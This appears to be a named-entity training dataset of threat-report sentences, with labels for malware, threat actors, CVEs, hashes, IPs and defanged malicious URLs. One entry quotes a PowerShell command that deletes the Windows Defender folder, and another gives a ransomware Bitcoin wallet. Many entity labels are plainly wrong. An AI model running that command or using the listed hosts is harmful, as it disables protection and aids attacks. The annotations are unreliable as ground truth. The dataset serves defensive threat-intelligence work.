{"id":14353,"text":"It was in April 2017 when the last Windows variant of Maikspy appeared with the following changes: The C&C server was changed to 198[.]12[.]155[.]84, password theft is added, as well as the theft of .doc, .docx, and .rtf files.","entities":[{"id":51794,"label":"TIME","start_offset":10,"end_offset":20},{"id":51795,"label":"malware","start_offset":54,"end_offset":61},{"id":44340,"label":"IPV4","start_offset":129,"end_offset":148}],"relations":[],"Comments":[]}
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{"id":8295,"text":"Indicators of CompromiseFiles with the following hashes were used in the first series of attacks:  cd8329f75b1393ead3e16c6c79ee1ab476e6487370481e5931feb63305f00983 \u2013 detected as VBS_KEYLOG.NYKW f46f0e8eed0361294200d64e87b3fb13f6a3797f99f5b588444534f27612a590 \u2013 archive file;","entities":[{"id":25565,"label":"SHA1","start_offset":99,"end_offset":163},{"id":25566,"label":"MD5","start_offset":194,"end_offset":258}],"relations":[],"Comments":[]}
{"id":4265,"text":"One file stealer (cca74bb322ad7833a21209b1418c9837e30983daec30d199a839f46075ee72f2, Detected as TSPY_DELF.SUW) published by security researchers in 2013 and linked to the domain myflatnet[.]com, was attributed by several parties to the Hangover group.","entities":[{"id":50067,"label":"threat-actor","start_offset":236,"end_offset":250},{"id":50063,"label":"SHA2","start_offset":18,"end_offset":82},{"id":50064,"label":"malware","start_offset":96,"end_offset":109},{"id":50065,"label":"TIME","start_offset":148,"end_offset":152},{"id":50066,"label":"DOMAIN","start_offset":178,"end_offset":193}],"relations":[{"id":911,"from_id":50063,"to_id":50064,"type":"indicates"},{"id":912,"from_id":50064,"to_id":50066,"type":"communicates-with"},{"id":913,"from_id":50064,"to_id":50067,"type":"attributed-to"}],"Comments":[]}
{"id":1135,"text":" This malware is well documented as a powerful polymorphic worm that encrypts itself differently every time it propagates.","entities":[],"relations":[],"Comments":[]}
{"id":8431,"text":"Safe Browsing also notifies webmasters when their websites are compromised by malicious actors and helps them diagnose and resolve the problem so that their visitors stay safer.","entities":[{"id":25979,"label":"threat-actor","start_offset":28,"end_offset":38},{"id":25980,"label":"location","start_offset":59,"end_offset":62},{"id":25981,"label":"location","start_offset":95,"end_offset":98},{"id":25982,"label":"location","start_offset":105,"end_offset":109},{"id":25983,"label":"location","start_offset":119,"end_offset":122}],"relations":[],"Comments":[]}
{"id":11888,"text":"Unique URLs serving \u200b\u200bCVE-2021-33742 Internet Explorer exploit: http:\/\/lioiamcount[.]com\/IsnoMLgankYg6\/EjlYIy7cdFZFeyFqE4IURS1 http:\/\/db-control-uplink[.]com\/eFe1J00hISDe9Zw\/gzHvIOlHpIXB http:\/\/kidone[.]xyz\/VvE0yYArmvhyTl\/GzV","entities":[{"id":36639,"label":"URL","start_offset":64,"end_offset":88},{"id":36640,"label":"URL","start_offset":127,"end_offset":136},{"id":36641,"label":"URL","start_offset":187,"end_offset":206}],"relations":[],"Comments":[]}
{"id":14116,"text":"When you have many samples to analyze, you can refine that expectation over time.","entities":[],"relations":[],"Comments":[]}
{"id":6366,"text":"This data includes the encrypted configuration settings for Brute Ratel C4.","entities":[],"relations":[],"Comments":[]}
{"id":8513,"text":"In collaboration with YouTube, Gmail, Trust & Safety, CyberCrime Investigation Group and Safe Browsing teams, our protections have decreased the volume of related phishing emails on Gmail by 99.6% since May 2021.","entities":[{"id":26286,"label":"location","start_offset":85,"end_offset":88},{"id":26288,"label":"attack-pattern","start_offset":163,"end_offset":171}],"relations":[],"Comments":[]}
{"id":2399,"text":"Two days later on March 31, 2022, Spring released version 5.3.18 and 5.2.20 of Spring Framework to patch another more severe vulnerability tracked in CVE-2022-22965.","entities":[{"id":47472,"label":"TIME","start_offset":18,"end_offset":32},{"id":47473,"label":"SOFTWARE","start_offset":34,"end_offset":40},{"id":47474,"label":"SOFTWARE","start_offset":79,"end_offset":95},{"id":47475,"label":"vulnerability","start_offset":150,"end_offset":164}],"relations":[{"id":333,"from_id":47474,"to_id":47475,"type":"has"}],"Comments":[]}
{"id":8909,"text":"Trend Micro Solutions Trend Micro\u2019s comprehensive XDR solution applies the most effective expert analytics to the deep data sets collected from Trend Micro solutions across the enterprise \u2014 including email, endpoints, servers, cloud workloads, and networks \u2014 making faster connections to identify and stop attacks.","entities":[{"id":27530,"label":"location","start_offset":75,"end_offset":79},{"id":27532,"label":"location","start_offset":177,"end_offset":187},{"id":27533,"label":"location","start_offset":227,"end_offset":232},{"id":27534,"label":"location","start_offset":244,"end_offset":247},{"id":27535,"label":"location","start_offset":297,"end_offset":300},{"id":27536,"label":"malware","start_offset":301,"end_offset":305}],"relations":[],"Comments":[]}
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{"id":13605,"text":"As described earlier, the XSS attack script redirects the victim to a fake Flash download site.","entities":[{"id":42403,"label":"attack-pattern","start_offset":26,"end_offset":29}],"relations":[],"Comments":[]}
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{"id":564,"text":"After infection, Virlock hides the file extension through modification of the registry (HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\HideFileExt = 1, HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\Hidden = 2).","entities":[{"id":1874,"label":"REGISTRYKEY","start_offset":88,"end_offset":164},{"id":1876,"label":"REGISTRYKEY","start_offset":170,"end_offset":241},{"id":44778,"label":"malware","start_offset":17,"end_offset":24}],"relations":[{"id":165,"from_id":1874,"to_id":44778,"type":"indicates"},{"id":166,"from_id":1876,"to_id":44778,"type":"indicates"}],"Comments":[]}
{"id":4054,"text":"After the backdoor is launched, it will decrypt the embedded C&C configuration via AES (CTR mode) algorithm for the following connection.","entities":[],"relations":[],"Comments":[]}
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{"id":5298,"text":" It also creates a pipe for inter-process communication (IPC) by calling the pipe() function for getting two file descriptors for reading and writing data.","entities":[],"relations":[],"Comments":[]}
{"id":2313,"text":"The exploit chain combined an RCE in WebKit exploiting CVE-2021-1789 which was patched on Jan 5, 2021 before discovery of this campaign and a 0-day local privilege escalation in XNU (CVE-2021-30869) patched on Sept 23, 2021.","entities":[{"id":45456,"label":"vulnerability","start_offset":55,"end_offset":68},{"id":45462,"label":"SOFTWARE","start_offset":178,"end_offset":181},{"id":45460,"label":"TIME","start_offset":210,"end_offset":223},{"id":45461,"label":"attack-pattern","start_offset":148,"end_offset":174},{"id":45457,"label":"SOFTWARE","start_offset":37,"end_offset":43},{"id":45458,"label":"TIME","start_offset":90,"end_offset":101},{"id":45459,"label":"vulnerability","start_offset":183,"end_offset":197}],"relations":[{"id":98,"from_id":45456,"to_id":45457,"type":"has"},{"id":99,"from_id":45459,"to_id":45462,"type":"has"}],"Comments":[]}
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{"id":3813,"text":"The commands and output of Koadic will change according to the ANEL version used in the attack.","entities":[{"id":49686,"label":"malware","start_offset":27,"end_offset":33},{"id":49685,"label":"malware","start_offset":63,"end_offset":67}],"relations":[],"Comments":[]}
{"id":3846,"text":"For example, the initial ANEL version, \u201c5.0.0 beta1,\u201d uses a different C&C server compared to the other versions.","entities":[{"id":11660,"label":"malware","start_offset":25,"end_offset":29}],"relations":[],"Comments":[]}
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{"id":7768,"text":" Figure 20.","entities":[],"relations":[],"Comments":[]}
{"id":2069,"text":"The videos had no sound, but the threat actor would type commentary on a terminal to address something the viewer was observing on screen.","entities":[],"relations":[],"Comments":[]}
{"id":10671,"text":"Table 1: The 15 vulnerabilities weaponized since 2017  CVE ID cvss3 score Description CVE-2021-42013 9.8 Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.49 and 2.4.50 (incomplete fix of CVE-2021-41773) CVE-2021-41773 7.5","entities":[{"id":32570,"label":"attack-pattern","start_offset":105,"end_offset":119},{"id":32571,"label":"location","start_offset":120,"end_offset":123},{"id":32572,"label":"location","start_offset":124,"end_offset":130},{"id":32573,"label":"location","start_offset":149,"end_offset":155},{"id":32574,"label":"location","start_offset":175,"end_offset":178},{"id":32575,"label":"location","start_offset":214,"end_offset":219},{"id":32576,"label":"location","start_offset":230,"end_offset":235}],"relations":[],"Comments":[]}
{"id":5101,"text":"The attackers made multiple attempts to use the exploit days after the vulnerability was patched on February 14, which stresses the importance of applying security updates as they become available.","entities":[{"id":51206,"label":"TIME","start_offset":100,"end_offset":111}],"relations":[],"Comments":[]}
{"id":2169,"text":"Microsoft recommends that customers of Microsoft Defender for Endpoint enable the attack surface reduction rule BlockOfficeCreateProcessRule.","entities":[{"id":45408,"label":"identity","start_offset":0,"end_offset":9},{"id":45409,"label":"SOFTWARE","start_offset":39,"end_offset":70}],"relations":[],"Comments":[]}
{"id":2886,"text":" Neither of these variables is actually used in this exploit.","entities":[],"relations":[],"Comments":[]}
{"id":3097,"text":" Because these vulnerabilities affect the processors at the physical layer, the only way for the vulnerabilities to be fully addressed is for the processors to be replaced or to have a firmware update.","entities":[],"relations":[],"Comments":[]}
{"id":7493,"text":"Figure 5.","entities":[],"relations":[],"Comments":[]}
{"id":13905,"text":" Execution and impact  The execution of the actual ransomware occurs next.","entities":[],"relations":[],"Comments":[]}
{"id":13486,"text":"Our actions against coordinated influence operations from January, February and March can be found in the Q1 Bulletin.","entities":[{"id":51557,"label":"TIME","start_offset":58,"end_offset":65},{"id":51558,"label":"TIME","start_offset":67,"end_offset":75},{"id":51559,"label":"TIME","start_offset":80,"end_offset":85}],"relations":[],"Comments":[]}
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{"id":2843,"text":"There have been several theories:  Unit 42 believes the most likely delivery method is method #2.","entities":[{"id":48048,"label":"identity","start_offset":35,"end_offset":42}],"relations":[],"Comments":[]}
{"id":716,"text":"If the vulnerability is exploited, threat actors could bypass authentication and run arbitrary code on unpatched systems.","entities":[{"id":46283,"label":"attack-pattern","start_offset":55,"end_offset":76},{"id":46284,"label":"attack-pattern","start_offset":81,"end_offset":99}],"relations":[],"Comments":[]}
{"id":11250,"text":"In the meantime, we encourage high risk users to enroll in our Advanced Protection Program (APP) and utilize Google Account Level Enhanced Safe Browsing to ensure they have the greatest level of protection in the face of ongoing threats.","entities":[{"id":34390,"label":"location","start_offset":72,"end_offset":82},{"id":34391,"label":"location","start_offset":97,"end_offset":100},{"id":34392,"label":"threat-actor","start_offset":139,"end_offset":143},{"id":34393,"label":"location","start_offset":195,"end_offset":205}],"relations":[],"Comments":[]}
{"id":13634,"text":"Online shop administrators should be aware that potential attacks may come not only from spam but also from different \u2014 and unexpected \u2014 infection vectors.","entities":[],"relations":[],"Comments":[]}
{"id":1937,"text":"We did not find Urpage victims in our telemetry, likely because of the targeted nature of these attacks.","entities":[{"id":5704,"label":"threat-actor","start_offset":16,"end_offset":22}],"relations":[],"Comments":[]}
{"id":5009,"text":"NOTE: On May 20th, we updated our attribution to more precisely describe our findings.","entities":[{"id":51062,"label":"TIME","start_offset":9,"end_offset":17}],"relations":[],"Comments":[]}
{"id":3917,"text":"The attack features the following script:","entities":[],"relations":[],"Comments":[]}
{"id":1866,"text":"Once inside, the continuing trend of abusing legitimate tools and functions to mask malicious activities and actors\u2019 presence","entities":[],"relations":[],"Comments":[]}
{"id":8141,"text":"When encrypting, it creates a block of data we named headData.","entities":[],"relations":[],"Comments":[]}
{"id":12446,"text":"We terminated 35 YouTube channels as part of our investigation into coordinated influence operations linked to Azerbaijan.","entities":[],"relations":[],"Comments":[]}
{"id":13977,"text":"It also misses the incredible importance of identifying tactics, techniques, and tools used by global threat actor groups today.","entities":[],"relations":[],"Comments":[]}
{"id":14283,"text":"Get and upload dedicated directory file list   ","entities":[],"relations":[],"Comments":[]}
{"id":5149,"text":"I'm going to drive back to the store.","entities":[],"relations":[],"Comments":[]}
{"id":3096,"text":" Because these affect processors, this means that the operating systems and applications that run on top of these processors are vulnerable.","entities":[],"relations":[],"Comments":[]}
{"id":4135,"text":"During our investigation, we found evidence of specific tools, which we listed in Table 1.","entities":[],"relations":[],"Comments":[]}
{"id":1595,"text":"Palo Alto Networks WildFire detected a new Android Trojan on May 7th, 2014 when a customer using our enterprise security platform downloaded the malicious application from the Google Play store.","entities":[{"id":46841,"label":"TIME","start_offset":61,"end_offset":74},{"id":46840,"label":"SOFTWARE","start_offset":0,"end_offset":27},{"id":46842,"label":"SOFTWARE","start_offset":176,"end_offset":193}],"relations":[],"Comments":[]}
{"id":6450,"text":"     Figure 4.","entities":[],"relations":[],"Comments":[]}
{"id":12297,"text":"We received leads from the FBI that supported us in this investigation.","entities":[],"relations":[],"Comments":[]}
{"id":1705,"text":"Antivirus programs running on the PC are trying eradicate the threat, the command and control domains and IPs are being added to denylist and blocked by networks around the world.","entities":[],"relations":[],"Comments":[]}
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{"id":12641,"text":"It generates the needed key and initialization vector (IV) using a salt and secret key; the former is embedded in the code while the latter is generated dynamically using the SHA-256 hash of a randomly generated 32-byte long string.","entities":[{"id":39247,"label":"location","start_offset":28,"end_offset":31},{"id":39248,"label":"tools","start_offset":47,"end_offset":53},{"id":39249,"label":"location","start_offset":67,"end_offset":71},{"id":39250,"label":"location","start_offset":72,"end_offset":75},{"id":39252,"label":"location","start_offset":220,"end_offset":224}],"relations":[],"Comments":[]}
{"id":12327,"text":"We terminated 3 YouTube channels as part of our investigation into coordinated influence operations linked to France.","entities":[],"relations":[],"Comments":[]}
{"id":10750,"text":"While xxmm2_builder allows REDBALDKNIGHT to customize the settings of XXMM, xxmm2_ steganography is used to hide malicious code within an image file.","entities":[{"id":32853,"label":"threat-actor","start_offset":27,"end_offset":40},{"id":32854,"label":"malware","start_offset":70,"end_offset":74}],"relations":[],"Comments":[]}
{"id":9171,"text":"Unfortunately, Lurk is just one of the many cybercriminal groups looking to profit from organizations and end users.","entities":[{"id":28296,"label":"identity","start_offset":23,"end_offset":27},{"id":28297,"label":"location","start_offset":28,"end_offset":31},{"id":28298,"label":"location","start_offset":39,"end_offset":43},{"id":28299,"label":"location","start_offset":102,"end_offset":105}],"relations":[],"Comments":[]}
{"id":3800,"text":"Figure 2. Exploitation of CVE-2017-11882","entities":[{"id":49672,"label":"vulnerability","start_offset":26,"end_offset":40}],"relations":[],"Comments":[]}
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{"id":13064,"text":"This article lists the known malware strains that have been used over the past two years to install ransomware, all of which should serve as a \"code red\" moment for any organization.","entities":[],"relations":[],"Comments":[]}
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{"id":2041,"text":"One possibility is that it is used to monitor ransomed systems for blue team and incident response (IR) activity, though even in that case it is unusual to see offensive tools dropped at this point in the infection.","entities":[],"relations":[],"Comments":[]}
{"id":5442,"text":"The Brazilian Central Bank recently announced that 2017 was the first year in which people did more banking using mobile devices than on PCs.","entities":[{"id":51441,"label":"identity","start_offset":4,"end_offset":26},{"id":51442,"label":"TIME","start_offset":51,"end_offset":55}],"relations":[],"Comments":[]}
{"id":2446,"text":"There are two variants of the webshell.","entities":[],"relations":[],"Comments":[]}
{"id":896,"text":" The following registry keys are also used within the CLOCK sub-path by PClock2:  PClock2 proceeds to use the API from blockchain.info to generate a unique Bitcoin (BTC) wallet identifier, which is configured to automatically forward payments to a hardcoded wallet identifier of \u20181MRfkK134ErfbcadUSoSUCBahngCqoBKju\u2019.","entities":[{"id":46423,"label":"malware","start_offset":72,"end_offset":79},{"id":46424,"label":"malware","start_offset":82,"end_offset":89},{"id":46425,"label":"DOMAIN","start_offset":119,"end_offset":134}],"relations":[],"Comments":[]}
{"id":5455,"text":" They\u2019re put together by Palo Alto Networks Unit 42 threat research team and are meant for you to read and share with your family, friends, and coworkers so you can all be safer and get on with the business of your digital life.  Got a topic you want us to write about for you, your friends, or your family?","entities":[{"id":51445,"label":"identity","start_offset":25,"end_offset":72}],"relations":[],"Comments":[]}
{"id":13198,"text":"The traffic is encrypted to evade detection.","entities":[],"relations":[],"Comments":[]}
{"id":1599,"text":" A developer using the ID \u201cfun app\u201d published the Trojan, and the remote control application they uploaded on April 21 is their most successful app so far, with between 10,000 and 50,000 downloads on the play store.","entities":[{"id":46846,"label":"TIME","start_offset":110,"end_offset":118}],"relations":[],"Comments":[]}
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{"id":4216,"text":"The second fake website is again related to chat, with a background suggesting that it can help find users a partner.","entities":[],"relations":[],"Comments":[]}
{"id":13567,"text":"We observed that the scripts used during the attacks were customized.","entities":[],"relations":[],"Comments":[]}
{"id":11637,"text":"We learned that these pages were copied from their victims\u2019 webmail login pages and subsequently modified for phishing.","entities":[{"id":35709,"label":"location","start_offset":3,"end_offset":10},{"id":35710,"label":"location","start_offset":80,"end_offset":83},{"id":35711,"label":"attack-pattern","start_offset":110,"end_offset":118}],"relations":[],"Comments":[]}
{"id":13516,"text":"Consider using dedicated two-factor authentication apps or devices such as Yubikey instead of relying on SMS.","entities":[],"relations":[],"Comments":[]}
{"id":10078,"text":"This was carried out via a compromised version of a network monitoring application called SolarWinds Orion.","entities":[],"relations":[],"Comments":[]}
{"id":152,"text":"In some cases, the ransomware is sophisticated enough to target specific application files.","entities":[],"relations":[],"Comments":[]}
{"id":1056,"text":"An \u201coverlay attack\u201d is an attack where an attacker\u2019s app draws a window over (or \u201coverlays\u201d) other windows and apps running on the device.","entities":[{"id":44926,"label":"attack-pattern","start_offset":4,"end_offset":18}],"relations":[],"Comments":[]}
{"id":4713,"text":"At the time, our Android team released research about a newly discovered family of spyware related to Pegasus that was used in a targeted attack on a small number of Android devices.","entities":[{"id":50607,"label":"malware","start_offset":102,"end_offset":109},{"id":50608,"label":"SOFTWARE","start_offset":166,"end_offset":173},{"id":50606,"label":"SOFTWARE","start_offset":17,"end_offset":24}],"relations":[],"Comments":[]}
{"id":2935,"text":"While we can\u2019t see how many people the other half of the samples affect, it\u2019s a reasonable supposition that the other half of the total samples affect just as many people as the half we can see.","entities":[],"relations":[],"Comments":[]}
{"id":4459,"text":"In 2017, Android \u2013 which is owned by Google \u2013 was the first mobile platform to warn users about NSO Group\u2019s Pegasus spyware.","entities":[{"id":50241,"label":"malware","start_offset":108,"end_offset":115},{"id":50237,"label":"TIME","start_offset":3,"end_offset":7},{"id":50240,"label":"threat-actor","start_offset":96,"end_offset":105},{"id":50238,"label":"SOFTWARE","start_offset":9,"end_offset":16},{"id":50239,"label":"identity","start_offset":37,"end_offset":43}],"relations":[{"id":933,"from_id":50241,"to_id":50240,"type":"authored-by"}],"Comments":[]}
{"id":2607,"text":"A hallmark of this group is the diversity of techniques used both for initial access and action-on-objective.","entities":[],"relations":[],"Comments":[]}
{"id":2789,"text":" The good news is that these attacks are more like denial of service attacks: they don\u2019t do lasting harm to your system and they end when you leave the site.  The bad news is that these are harder to defend against than typical drive-by download attacks.","entities":[],"relations":[],"Comments":[]}
{"id":1384,"text":"PowerShell process used to delete Windows Defender, e.g. C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe rmdir 'C:\\ProgramData\\Microsoft\\Windows Defender' -Recurse  8. File InstallUtil.exe running from C:\\Users\\[USERNAME]\\AppData\\Local\\Temp directory.","entities":[{"id":4148,"label":"tools","start_offset":0,"end_offset":10},{"id":46727,"label":"FILEPATH","start_offset":122,"end_offset":163},{"id":46726,"label":"FILEPATH","start_offset":57,"end_offset":114},{"id":46728,"label":"FILEPATH","start_offset":183,"end_offset":198},{"id":46725,"label":"tools","start_offset":34,"end_offset":50},{"id":46729,"label":"FILEPATH","start_offset":212,"end_offset":251}],"relations":[],"Comments":[]}
{"id":551,"text":"The victims can find the threat actor\u2019s user name through specific group chat software or follow a chat group link in the ransom note.  Ransom payment operations are complicated and highly automated processes.","entities":[],"relations":[],"Comments":[]}
{"id":13496,"text":"One of the most prolific cybermercenaries is Void Balaur, a Russian-speaking threat actor group that has launched attacks against different sectors and industries all over the world.","entities":[{"id":51564,"label":"threat-actor","start_offset":45,"end_offset":56}],"relations":[],"Comments":[]}
{"id":13122,"text":"For others, digital transformation had been a priority for much longer, but the events of the past two years added a new sense of urgency.","entities":[],"relations":[],"Comments":[]}
{"id":3857,"text":"In this scenario, accevent.exe is the primary executable, which is usually legitimate.","entities":[{"id":49716,"label":"FILEPATH","start_offset":18,"end_offset":30}],"relations":[],"Comments":[]}
{"id":3513,"text":"ShellManage - Creates a shell.","entities":[],"relations":[],"Comments":[]}
{"id":2584,"text":" Unit 42 has helped organizations respond to multiple Lapsus$ attacks.","entities":[{"id":47769,"label":"identity","start_offset":1,"end_offset":8},{"id":7797,"label":"threat-actor","start_offset":54,"end_offset":61}],"relations":[],"Comments":[]}
{"id":1368,"text":"More information about these protections can be found within the Mitigation Actions section of the briefing.","entities":[],"relations":[],"Comments":[]}
{"id":3726,"text":"Continuous vigilance against threat groups is an important aspect of keeping up with \u2014 if not being one step ahead of \u2014 threats.","entities":[],"relations":[],"Comments":[]}
{"id":2302,"text":"In this blog we analyze the technical details of the exploit chain and share IOCs to help teams defend against similar style attacks.","entities":[],"relations":[],"Comments":[]}
{"id":2280,"text":"This past year, TAG has been collaborating with Google\u2019s CyberCrime Investigation Group to disrupt Glupteba activity involving Google services.","entities":[{"id":45441,"label":"identity","start_offset":16,"end_offset":19},{"id":45438,"label":"malware","start_offset":99,"end_offset":107},{"id":45439,"label":"identity","start_offset":48,"end_offset":87},{"id":45440,"label":"SOFTWARE","start_offset":127,"end_offset":142}],"relations":[],"Comments":[]}
{"id":3198,"text":"The legitimate known application is downloaded and executed.","entities":[],"relations":[],"Comments":[]}
{"id":13684,"text":"jQuery method is used to post the target\u2019s credentials to hosting site     The phishing pages record passwords inputted by site visitors.","entities":[{"id":51752,"label":"attack-pattern","start_offset":79,"end_offset":87}],"relations":[],"Comments":[]}
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{"id":185,"text":"Beginning on Feb. 15, a series of distributed denial of service (DDoS) attacks commenced.","entities":[{"id":45851,"label":"TIME","start_offset":13,"end_offset":20},{"id":45852,"label":"attack-pattern","start_offset":34,"end_offset":70}],"relations":[],"Comments":[]}
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{"id":7586,"text":"The latter is a configuration file that handles files to install.","entities":[],"relations":[],"Comments":[]}
{"id":4232,"text":"At the end of last year, a C&C from the same threat actor was not only accessible from any IP address, but it was possible to browse the server directory tree without authentication.","entities":[],"relations":[],"Comments":[]}
{"id":14037,"text":"These paths leak information about the third-party libraries\u2019 installed paths.","entities":[],"relations":[],"Comments":[]}
{"id":4077,"text":"     Figure 5.","entities":[],"relations":[],"Comments":[]}
{"id":23,"text":" Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]}
{"id":3518,"text":"The trigger format is: %system32\/rundll32.exe <PROTUX file name> <export name>.","entities":[{"id":49303,"label":"FILEPATH","start_offset":23,"end_offset":45}],"relations":[],"Comments":[]}
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{"id":14112,"text":"Other public references also used the compiled binary time of samples attributed to APT37.","entities":[{"id":48180,"label":"threat-actor","start_offset":84,"end_offset":89}],"relations":[],"Comments":[]}
{"id":4542,"text":"In the modern world, we must be able to trust the devices we use every day and ensure that foreign adversaries do not have access to sophisticated exploits.","entities":[],"relations":[],"Comments":[]}
{"id":4818,"text":"Consistent with CERT-UA reporting, TAG observed multiple Russian GRU actors - APT28 and Sandworm - conduct campaigns exploiting the Follina vulnerability.","entities":[{"id":50750,"label":"identity","start_offset":35,"end_offset":38},{"id":50751,"label":"identity","start_offset":57,"end_offset":75},{"id":50752,"label":"threat-actor","start_offset":78,"end_offset":83},{"id":50753,"label":"threat-actor","start_offset":88,"end_offset":96},{"id":50749,"label":"identity","start_offset":16,"end_offset":23},{"id":50754,"label":"vulnerability","start_offset":132,"end_offset":153}],"relations":[{"id":1006,"from_id":50753,"to_id":50754,"type":"exploits"},{"id":1007,"from_id":50752,"to_id":50754,"type":"exploits"}],"Comments":[]}
{"id":1470,"text":"For security reasons we are not posting the names of any of these apps.","entities":[],"relations":[],"Comments":[]}
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{"id":9054,"text":"RATANKBA host manipulation console RATANKBA\u2019s controllers use the \u201cNimo Software HTTP Retriever 1.0\u201d user-agent string for its communication.","entities":[{"id":27961,"label":"malware","start_offset":0,"end_offset":8},{"id":27962,"label":"location","start_offset":9,"end_offset":13},{"id":27963,"label":"malware","start_offset":35,"end_offset":43}],"relations":[],"Comments":[]}
{"id":234,"text":" We monitored a list of 50 legitimate Ukraine-related domains (e.g., popular news and donation websites) and keywords (e.g., Ukraine, refugee) as targets for cybersquatting.","entities":[{"id":45781,"label":"location","start_offset":125,"end_offset":132},{"id":45934,"label":"location","start_offset":38,"end_offset":45},{"id":44651,"label":"attack-pattern","start_offset":158,"end_offset":172}],"relations":[{"id":137,"from_id":44651,"to_id":45781,"type":"targets"}],"Comments":[]}
{"id":4474,"text":"Other reporting from Microsoft has linked this spyware to the compromise of dozens of victims, including political dissidents, human rights activists, journalists, and academics.","entities":[{"id":50270,"label":"identity","start_offset":21,"end_offset":30}],"relations":[],"Comments":[]}
{"id":5706,"text":"     Figure 2. Fake installation pop-up     The third attack vector used by Earth Lusca is the exploitation of vulnerabilities that exist in the public-facing applications \u2014 such as Microsoft Exchange ProxyShell and Oracle GlassFish \u2014 of its targets.","entities":[{"id":17601,"label":"location","start_offset":33,"end_offset":36},{"id":17603,"label":"tools","start_offset":61,"end_offset":67},{"id":17604,"label":"threat-actor","start_offset":76,"end_offset":87},{"id":17605,"label":"location","start_offset":145,"end_offset":151},{"id":17607,"label":"location","start_offset":192,"end_offset":200},{"id":17609,"label":"location","start_offset":212,"end_offset":215}],"relations":[],"Comments":[]}
{"id":5148,"text":"I need a loaf of bread.","entities":[],"relations":[],"Comments":[]}
{"id":3367,"text":"Python.BIOPASS.A","entities":[{"id":48985,"label":"malware","start_offset":0,"end_offset":16}],"relations":[],"Comments":[]}
{"id":5360,"text":"The content of \/proc\/mtd for an Asus RT-AC68U device is as follows:      Figure 7.","entities":[{"id":51364,"label":"FILEPATH","start_offset":15,"end_offset":24}],"relations":[],"Comments":[]}
{"id":10303,"text":"Troj.Win32.TRX.XXPE50FFF039  50b000a7d61885591ba4ec9df1a0a223dbceb1ac2facafcef3d65c8cbbd64d46  email.exe","entities":[{"id":31452,"label":"SHA2","start_offset":29,"end_offset":93}],"relations":[],"Comments":[]}
{"id":3578,"text":"The watermarking technique is implemented through the module attributes of the assembly.","entities":[],"relations":[],"Comments":[]}
{"id":5065,"text":"Once a user provides credentials in the dialog, they are posted to an attacker controlled domain.","entities":[],"relations":[],"Comments":[]}
{"id":11128,"text":"For example in 2017, our Security Reliability Engineering team measured a record-breaking UDP amplification attack sourced out of several Chinese ISPs (ASNs 4134, 4837, 58453, and 9394), which remains the largest bandwidth attack of which we are aware.","entities":[{"id":34002,"label":"attack-pattern","start_offset":94,"end_offset":107},{"id":34005,"label":"location","start_offset":163,"end_offset":167},{"id":34007,"label":"location","start_offset":176,"end_offset":179},{"id":34008,"label":"location","start_offset":242,"end_offset":245}],"relations":[],"Comments":[]}
{"id":11504,"text":"In addition to including phishing links directly in the email, the attackers also link to PDFs and\/or DOCs, hosted on Google Drive and Microsoft One Drive, that contain a link to an attacker-controlled phishing domain.","entities":[{"id":35193,"label":"attack-pattern","start_offset":25,"end_offset":33},{"id":35195,"label":"location","start_offset":131,"end_offset":134},{"id":35197,"label":"attack-pattern","start_offset":202,"end_offset":210}],"relations":[],"Comments":[]}
{"id":14375,"text":"One messy reality is that enterprises don\u2019t manage all their endpoints.","entities":[],"relations":[],"Comments":[]}
{"id":13713,"text":"Indicators of compromise (IOCs) Threat actor-managed C&C URLs:  https:\/\/highstreetmuch[.]xyz\/hug\/gate[.]php https:\/\/takeusall[.]online\/benzz\/gate[.]PHP  MITRE ATT&CK\u00ae Matrix          Tags  Cloud | APT & Targeted Attacks | Research | Phishing | Articles, News, Reports","entities":[{"id":51760,"label":"URL","start_offset":64,"end_offset":107},{"id":51761,"label":"URL","start_offset":108,"end_offset":151}],"relations":[],"Comments":[]}
{"id":1821,"text":"We noted that it can disable a number of antivirus products, previously identified by Aon\u2019s researchers.","entities":[{"id":45143,"label":"identity","start_offset":86,"end_offset":103}],"relations":[],"Comments":[]}
{"id":11724,"text":"Trojan.W97M.SIDEWINDER.A     AB7C1967BF1FEFDFFDE93626B78EB30994655AB02F59E0ADB0935E3E599A953F  RTF file  Trojan.W97M.SIDEWINDER.A     2548A819E4C597BA5958D2D18BAA544452948E5B00271570192CCD79ABE88E8D  1.a JS file  Trojan.JS.SIDEWINDER.A  Downloader.","entities":[{"id":36129,"label":"SHA2","start_offset":29,"end_offset":93},{"id":36130,"label":"SHA2","start_offset":134,"end_offset":198}],"relations":[],"Comments":[]}
{"id":9375,"text":" Figure 7. gooogle[.]press registration info","entities":[],"relations":[],"Comments":[]}
{"id":5468,"text":"However, we construe them to be different groups, possibly within the same community, with different objectives and modi operandi.","entities":[],"relations":[],"Comments":[]}
{"id":1011,"text":"Figure 4:","entities":[],"relations":[],"Comments":[]}
{"id":6567,"text":"A rough translation of this message is as follows: \u201cFxxk, when I am released, the server is offline, I can\u2019t find the machine, the domain is expired, it is so bad.","entities":[],"relations":[],"Comments":[]}
{"id":4496,"text":"Last year, TAG identified an ongoing campaign targeting security researchers working on vulnerability research and development at different companies and organizations.","entities":[{"id":50298,"label":"identity","start_offset":11,"end_offset":14}],"relations":[],"Comments":[]}
{"id":376,"text":"Palo Alto Networks strongly advises organizations to patch immediately.","entities":[{"id":46073,"label":"identity","start_offset":0,"end_offset":18}],"relations":[],"Comments":[]}
{"id":5344,"text":"Finally, a variable containg the next time a packet should be sent is updated and all of the parameters are sent to the modules again.","entities":[],"relations":[],"Comments":[]}
{"id":3305,"text":"If the value of the \u201ctype\u201d argument is \u201cChrome\u201d, it will use the AES secret key or DPAPI (for Chrome versions before 80) to decrypt the cookie file.","entities":[{"id":48388,"label":"SOFTWARE","start_offset":94,"end_offset":100}],"relations":[],"Comments":[]}
{"id":1070,"text":" The particular vulnerability in question affects an Android feature known as \u201cToast.\u201d \u201cToast\u201d is a type of notification window that \u201cpops\u201d (like toast) on the screen.","entities":[{"id":46555,"label":"SOFTWARE","start_offset":53,"end_offset":60}],"relations":[],"Comments":[]}
{"id":5541,"text":"In a separate attack, 962 online stores were hit in just 24 hours.","entities":[],"relations":[],"Comments":[]}
{"id":13051,"text":"In this blog, Trend Micro shares security recommendations for organizations to ensure stable security practices in a cloud-first world.","entities":[],"relations":[],"Comments":[]}
